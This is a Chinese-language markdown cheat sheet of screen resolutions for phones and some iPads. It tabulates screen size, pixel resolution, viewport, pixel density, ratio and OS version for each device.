<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- 分辨率是像素数(单个颜色点)
|
||||
- 可视窗口由屏幕上网页填充的矩形大小定义
|
||||
- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
|
||||
- 用于设计
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
解析度清单列表
|
||||
------
|
||||
|
||||
### 手机
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 |
|
||||
| Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 |
|
||||
| Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 |
|
||||
| Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 |
|
||||
| Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 |
|
||||
| HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 |
|
||||
| HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 |
|
||||
| Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 |
|
||||
| Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 |
|
||||
| Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 |
|
||||
| Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 |
|
||||
| Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 平板
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
